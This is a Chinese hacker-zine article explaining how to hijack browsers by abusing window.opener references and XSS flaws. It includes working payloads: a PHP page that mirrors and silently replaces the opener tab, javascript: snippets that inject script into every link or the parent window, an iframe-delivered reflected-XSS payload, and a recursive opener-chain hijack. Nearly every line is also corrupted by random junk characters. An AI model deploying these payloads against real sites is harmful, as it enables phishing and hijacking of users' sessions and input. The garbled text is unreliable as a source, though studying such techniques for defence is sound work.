==Ph4nt0m Security Team==
% n5 ]9 Q+ i) P2 W4 M: D
4 ?7 X) d9 @2 u) b Issue 0x03, Phile #0x05 of 0x07( b+ j: _6 x+ u$ N6 D1 ]; p2 j
8 I$ \3 ]. E% _+ H" }& f+ H( W' X% c( d% d+ m5 \. @
|=---------------------------------------------------------------------------=|) T0 [9 J- x% y7 U/ e! V( h. v- a
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
: M b5 h: w5 e! q8 ]|=---------------------------------------------------------------------------=|$ ^% X; J( M! Z# I% e. c& B
|=---------------------------------------------------------------------------=|
- A2 Z0 i0 X0 [ T7 W|=------------------------=[ By rayh4c ]=---------------------------=|: ` l* D4 d! E
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
1 [ n& I% f- o4 P1 \|=---------------------------------------------------------------------------=|) x6 W" S7 e, A Q, g# Y
2 e% U, @6 G) }# Y9 U8 k2 a
5 \. H( x3 ^) ]
[目录]0 k7 w: n' {; H
: }( b% T2 e/ d) x2 b+ n4 h1. 前言
- A7 l3 N5 A. h2. 同源策略简叙
9 d9 S& K9 m3 x3. 理解window对象的同源策略, u$ V9 u' y2 x- M; o% S
4. 窗口引用功能中的同源策略漏洞
( r- t8 S+ l; A$ Z0 @8 o0 U$ j, V 4.1 父窗口引用子窗口的同源策略问题
" V1 {; K: @, |* z0 B9 a 4.2 子窗口引用父窗口的同源策略问题
/ F$ |0 ?, Z0 V; ?5. 利用窗口引用漏洞劫持浏览器
: }4 M/ t7 ]& u4 A7 F6. 利用XSS漏洞劫持浏览器; o) |' m! I, H4 [" {
6.1 正向跨窗口劫持8 y2 B7 J' ^4 U* M7 e
6.2 反向跨窗口劫持3 o. n; s+ ~3 V0 j/ T+ g
6.3 极度危险的跨框架窗口引用劫持
$ j8 V0 I& G# [. ?$ Y$ o4 i' p 6.4 极度危险的正反向跨窗口递归劫持
, N1 U+ Q4 Z$ \, \# z- f/ ]; ]% B 6.5 完全控制浏览器
' g" ?5 l+ ^9 X0 r) t8 Y! @7. 后记
3 j |$ F4 K5 O* v8. 参考+ C! u; y' k' Z# Y' O- g2 I
& b. o3 m; k8 t% k. `; f' K
, c# ?. F$ ]4 Z3 h# }9 |一、前言
, l! s, G n2 d' ]" a, p
: M+ n9 ]9 B2 Z6 C 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
3 _) h5 c# ]- f# g友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
+ N4 R, H8 E! Q$ [劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
8 B: t' h6 B( z( {9 e l条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
8 o0 Q9 @2 k: J+ Z' _; ]: D5 y+ j. v: m& a
6 a- p$ Q4 z1 T" u+ a二、同源策略简叙0 v6 F& x. X/ s- M0 c
* c3 u2 N/ m5 d9 e" ~7 _ 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以3 K! X: r1 O* o
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
) e8 x6 S2 h# b1 h& v2 m曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
z, ~; @' B! a- N马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
# F" a- l" ~7 U2 K0 i9 v' f漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
. \9 Z2 f: D4 v% V @2 R" N6 r) _. k" _& x" E- M- b
7 ?% B% u- A$ \3 g7 |三、理解window对象的同源策略% ?; }& C3 Q3 A
1 ^, W* H) Q2 m1 E G( X1 u
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对* k1 c3 {& Z" D; A: n X1 R0 s- A- R
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:- }% q& C: f" H% T
- R. H' y5 S$ i--code-------------------------------------------------------------------------
8 \2 U" f' M& x4 }<script language="javascript">$ |/ P& F0 i4 y+ V
for(p in window) document.write(p+"<br>");
/ V, A. b$ n: N/ y3 z</script>
% D+ d: U* R' J6 \-------------------------------------------------------------------------------
5 e" v6 S; c3 x' E
3 @. |$ a6 |& c2 l3 ^ 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方2 Y% `+ [' t( s" j7 h" Y) C
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
' [: q5 Z$ l- u- G. M( ?这些属性和方法就必须遵循同源策略。, _8 [7 d8 S( ]! f% Q
6 l; Y4 ^2 ]3 x 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
9 M" ]" g$ ]( h+ N2 H么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须8 b3 ^$ y1 x3 x# ?$ |) J& l
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这9 s+ y5 H6 T2 W( C
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
9 L' s# w( f7 V- C6 Z值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location3 U& U* H! k0 r) J, F4 ]
属性并没有被拒绝访问。
) u B( E' G5 J1 F" f6 _
8 w' I. q6 `3 O, ?4 q9 g--demo.html--------------------------------------------------------------------' |2 c9 {; n Q" R2 D
<script language="javascript"> 5 n4 f8 o% D: Z+ j/ D1 i% ^
function allPrpos(obj) {
+ j* o& C, p" S& E; { var props = "<table><tr><td>名称</td><td>值</td>";
6 F, H% i- w+ j2 ?3 O for(var p in obj){ 1 X+ ~8 \6 z, m1 Z
if(typeof(obj[p])=="function"){
, g8 n& S' W/ o, { obj[p](); 9 E, j, P/ n/ o, k+ z* _
}else{ 0 |- i9 m: ^0 N% a
try
0 r1 ]. v7 }6 R% z9 { g { * c9 l* {) V6 [& s$ K& v P
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; $ b/ v9 D. X5 x& f) Z
} . c7 O; D. V# l) _" s/ L* o3 a
catch (ex)
' r1 m, ?2 `$ p j5 ^7 x9 [+ { { / h" _# A) t7 _9 j6 F* x# e* t/ t
! f* G: g; F/ H7 e5 a props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
& H! F9 D+ j6 Y3 r } " K; @ a% i" e5 N6 l
7 n$ D0 X& M' F6 Q5 r }
0 J: @0 m- \9 w" R } 7 j- j# {1 T( Z1 [& Z
$ h X& X# F w7 S U& V document.write(props+"</table>"); 0 U. c7 l( M! c& d
} 8 x! B! L @0 w) N% U. T4 G9 _
& I' w' g T8 o0 G, u( S8 \
function createWin() {: G: D$ s! q) H3 |+ Z
newWin = window.open ("http://www.google.com"); ; J# I. k8 O9 j9 A8 d, ]
setTimeout(function(){allPrpos(newWin)},2000); 0 K8 ~. R0 N3 `: a: C# g
}
& {( ~ z; d6 e& d: O3 k6 d/ Z, Z/ \6 `) n) ?
</script> % M# ?: o' C- ~* m, O5 `
! ~4 B3 a. }/ H6 V
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
! U+ ]6 ]7 g2 J3 J-------------------------------------------------------------------------------! \: s9 {2 g6 G& I1 M$ F0 Q0 C
# |, c. @$ V# o% w
& f* u @6 f- g. K+ ?
四、窗口引用功能中的同源策略漏洞, A* X3 ?& {8 j) i3 Z7 w& X1 R
) Z0 h- E8 i8 R8 d4.1 父窗口引用子窗口的同源策略问题
* x1 j$ r. q1 W, s# B4 L/ V; M
! O" D! N. _4 |) ~$ t. k 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
# A1 u; S. u8 H* x- Z2 x4 H" F! A但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
0 `( R/ D" J7 Y! w) q4 U浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进; ?- f" g* K+ M$ O& ~0 ]5 w
行测试,会发现父窗口可以控制非同源子窗口location属性值。
) s! b3 ^& r) Y y8 }2 i# q, h# `; H: f4 I
--vul1.html--------------------------------------------------------------------
- m% U9 R3 r; S O2 e3 c<script language="javascript">
. X! ]( w4 i1 ]) F) U0 Kfunction createWin() { . u" A5 o% A- L x
newWin = window.open ("http://www.google.com"); 6 l! N) a' }) S1 Q" l6 p
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 3 V* v4 j8 A5 J" J
} ; d7 @, H) {( x" n u m4 T: y' c
</script>0 R3 l' K- i0 n5 A0 s$ v* s- `; A4 v
- d9 [) d( m' ^. |" }<button onclick='createWin()'>创建一个非同源子窗口测试</button>" O4 L; C7 q b3 ]# q
-------------------------------------------------------------------------------
- X! D7 P( S2 G/ S& n3 T7 n0 J
: q+ y/ B- r7 H# v, v# a! Q& o* I' B% w+ k5 G6 l$ a6 H; i5 J3 c2 h
4.2 子窗口引用父窗口的同源策略问题+ i: F$ m8 G0 F- z- U+ \4 R2 B
4 ~& C: n, u4 B) s& X 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使/ U$ g# Z6 m& A8 `# n9 N
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们+ [2 S! h. W8 F l4 _, T- a
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
6 C0 A5 T( d7 X: s会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。6 p* p- h% c9 N4 a( r+ q
" i" D1 u1 @. y4 q; K* y--code-------------------------------------------------------------------------
, `% r/ M+ L. C
( w9 ^+ o" V2 W# ]9 [javascript:window.opener.location = "http://www.80sec.com";void(0);/ L3 E6 a& Y' o. w6 `0 }
% {- ]& x1 I* q" O/ {0 K
-------------------------------------------------------------------------------, a+ C2 F" B9 D1 R7 J
8 I. r7 r7 N8 X5 }- `' W' m% k! @" t/ n8 J- D
五、利用窗口引用漏洞劫持浏览器
, G: v. A' T2 j8 x8 ~0 V+ S! U& a: B0 ^
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
8 r- a$ G/ a! q6 {; c1 K8 H窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那0 M% ]1 V+ K; W* s* M
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
8 O& l2 c6 [' N* }; ~
. n" x, W6 X0 Q+ H! I/ z 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产! ^$ S# H, ^# Q$ t
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或+ m8 y+ b2 ^) u( j! o& j, ^
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接, B3 E8 L; O+ E( J& g, M/ Z) i
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
) ^& I# f* ~+ i会产生什么可怕的后果。# A* i& {6 L, r; u( H& X7 v
' t( S' p. c) P! k- T! H! X9 T5 G 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我; P) q8 d9 Q3 P1 q+ q9 W" V% R
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php4 f" k/ E/ ~/ U+ h$ h' v3 k3 l
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
* _* `1 p% J" l- h- s+ p候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可; [$ C J5 ]0 g0 g
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
5 ]5 X; g( B+ g( g. {0 o) O8 q; F |. S7 k( j, e% Q( l
--hjk_ref.php------------------------------------------------------------------" Z+ ^: P G0 T& o8 m+ Q
<?php0 h9 h3 P* _; N/ ~
if (array_key_exists("HTTP_REFERER", $_SERVER)) {2 H& O' G9 b- C. ~ V9 A! t
$Url_Mirror = $_SERVER["HTTP_REFERER"];) ^: I3 C2 i! v3 L
} l2 W) i: Q( K* i5 S& ^
if(isset ($_GET['ref'])) {5 K% r) s+ U/ x( H! T
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
+ Y+ ]6 f7 J [7 b; T}
8 `, l/ g8 Z S+ q?>
& C# r) N; ~+ V0 t4 e8 ?2 O; Y1 {4 x) t( V1 _: f z; L
<script language="javascript">
+ k g3 ?3 Z1 AsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
2 T! C3 B1 c3 s' z3 c/ O</script>
; }* @5 g8 x1 J* e$ r-------------------------------------------------------------------------------6 |/ b& p9 P# [ V# y* ^
; u: B5 ~0 a0 h, ^* B. c* t* u
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
2 Z7 p o0 I, S' ?, D2 w0 N5 ~, V9 p
( q; {. _2 O, y2 ]2 W% m; p六、利用XSS漏洞劫持浏览器# G1 U4 s5 p/ v) p0 ]/ ?6 b5 l
; f! H5 B- w J+ x+ g. c1 g3 a
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为+ o% W# Y" W) {9 {8 q
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
4 W+ @+ _5 W8 [8 ~" M2 t. H1 t5 _XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
- r& u. X8 w" T& `5 N2 a讨论跨站师的终极技巧:4 `% Q5 p0 X" R$ T
. i6 K1 G. P; Q8 ]
. v# Z/ \8 B( i: b4 D7 H2 ~6.1 正向跨窗口劫持3 ^$ R8 L9 M6 _
9 r/ B$ |/ L# ]/ s& ~1 D
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛+ i1 h7 h1 p- {' Q3 \
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
/ U, m1 I$ L5 n8 v7 v& p6 l' U接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
_. f/ W3 s& N4 @框脚本。
; U7 u4 p7 J" p9 R, Q3 X9 a
9 J. w( D7 l# \2 } w5 g* e* J--hijack_open.js---------------------------------------------------------------. |& z2 \% F c; f
; ^' r* m7 }8 z7 f& P
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);; [" `( B M* {% i+ g( P
3 S) X$ |+ U! ?& j
-------------------------------------------------------------------------------# o+ e' R3 m# J/ p$ D
% G, J3 n5 n+ S) R, k6 n+ e
3 s& P* L" q, f5 c7 @4 k8 X6.2 反向跨窗口劫持. g7 c J4 H; F/ M( @2 L4 N
9 u1 k/ z0 E3 L( C/ M% W" Z 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
) s* g# s7 t9 K! ]5 {码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话- z% d7 c- ^5 }" m
框脚本。
. r$ S1 v+ Q y' J0 s# ^0 }4 c0 |- S1 `. b x) i2 T# m1 D# ~
--hijack_opener.js-------------------------------------------------------------# }" w* g l! `5 u; E$ u! s" ~
T& W% }2 {" J. ^' S R8 k
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);. `7 _8 I7 r) @- U1 F
- m) T) M2 P; v3 S i- O( s
-------------------------------------------------------------------------------
# Y3 ]% P% r2 i( m7 U7 V5 P" z2 E9 C. x$ C9 b h
( N9 a* m6 A/ J, N; y% y4 W
6.3 极度危险的跨框架窗口引用劫持
9 f+ @ ]) H, @+ N% m
* `, K, a* z% G; i0 x2 ~4 r, G 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞4 R, q* ]% i, _5 J$ K+ _0 }4 l
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就- `9 H2 c6 {. d& Z9 G5 Q% w
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
. [* G, X: t9 J( ^" g2 ~, ^) k T非持久型的XSS,如下:
& Y0 r. g+ q2 I3 d2 v5 i9 P6 ^1 t" o3 e( b1 F! n) K
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
. Y1 z) ]/ D0 E, s4 H0 n7 l& } r1 u2 D$ H9 Y' B3 W3 c8 Y
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
7 c( t1 @ o2 P注入脚本。
/ P4 z3 r7 y/ o9 I0 L# m2 S6 E2 }4 e( w* O% p
--hijack_frame_opener.js-------------------------------------------------------
, }( v. f& |! r5 z<script>
" E% S/ h q% S9 i Ywindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";; W) n% l1 a! ~4 K6 T
</script>
# R5 B( @# t5 s2 V6 |3 L1 [-------------------------------------------------------------------------------
! d0 @+ Q( B8 `* ^1 q- _, B4 B: x9 p$ v4 c/ V. Z3 H( Y5 J9 r
9 }6 T/ q- v# ?6 P6.4 极度危险的正反向跨窗口递归劫持
$ b' B- C; g! n' @3 k, T5 N( ~6 f7 f5 ?- Z Y
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window" i* n% \& d: ?2 W1 B0 p) O" Q) v
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过. X! d) c. l" ` D% r) _8 h! F
异常处理规避之间跨域页面的访问异常,代码如下:
& R7 w2 D" u$ k, o( [8 f$ d7 r1 n1 J8 T
--code-------------------------------------------------------------------------2 C: ~6 i. v' X% H1 w# R7 P
2 F% `" ?' ?3 P6 P
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
; a/ E0 I- n! ~( }( [- M7 C& ~
: N3 v. A" e p) V-------------------------------------------------------------------------------5 d0 \2 @# Z6 h
4 c! V* F1 G# {$ l, }( L E7 D: o 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可2 ?9 g* f! n6 w" W$ @/ O
以劫持B域之前的A域页面,从而实现“隔空打击”。' e$ {0 _- G- e
1 X N3 X3 T6 @& l" s
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面8 R7 w. |0 n( O w; _9 b% F
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
2 t8 f6 _, _+ a$ {% V" ^) x( r2 T6 e
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。. h9 L# f; o* r! a3 i* z
1 q. D8 d/ {9 E- h
- O2 k+ Z& L0 }' A6.5 完全控制浏览器+ f, r$ ~' y! [% i) E
' f6 P. ^, O, `% G- D3 R
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则+ p6 _3 }5 q" f& k9 V% }& c Q0 ? S
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS( Y6 N0 ~. ?4 O$ i
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
$ u( Z3 ?5 Y) g4 X- d而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
( ^- [, |, N9 [. M ?7 A, @列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
4 f1 k; U+ j* k% `- L; c% f5 ?7 B师的终极目标 - 完全控制浏览器。
$ Z4 J; a# O r* w& n a% t5 s$ P7 A( E5 d, M
, i t$ S$ m9 h5 w. h* e
七、后记
6 I4 c! Q! ?1 V2 `
1 v. b6 W/ }6 X# n4 Q2 | 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全, i0 ~4 M* s0 o2 T
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予# H. l% M8 Y! ?7 }) V
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。0 L, Q+ z' [4 r- m
. H, y( y9 D' O
1 q' ~. `) i( q% B; V1 o八、参考8 R# s& e3 l( q
7 o# L, M! e$ a+ w( w0 q! `1. http://en.wikipedia.org/wiki/Same_origin_policy5 \5 |+ ]& C- \
2. http://code.google.com/p/browser ... licy_for_DOM_access- G( x7 S5 d7 f1 M% Z; `
3. http://www.w3.org/TR/Window/
4 A' [7 c! }/ t* V4. http://www.80sec.com/release/browser-hijacking.txt
|$ x$ Q" Z8 n! ^5. http://www.80sec.com/all-browser-security-alert.html" g0 i( @" ?0 t1 d. [1 c9 w. Z# R) _
6. http://www.80sec.com/ms08-058-attacks-google.html) J5 ]# h5 O+ K/ E7 b! w' F! S
- I3 y j+ [) `) M3 h1 C# R3 a-EOF- |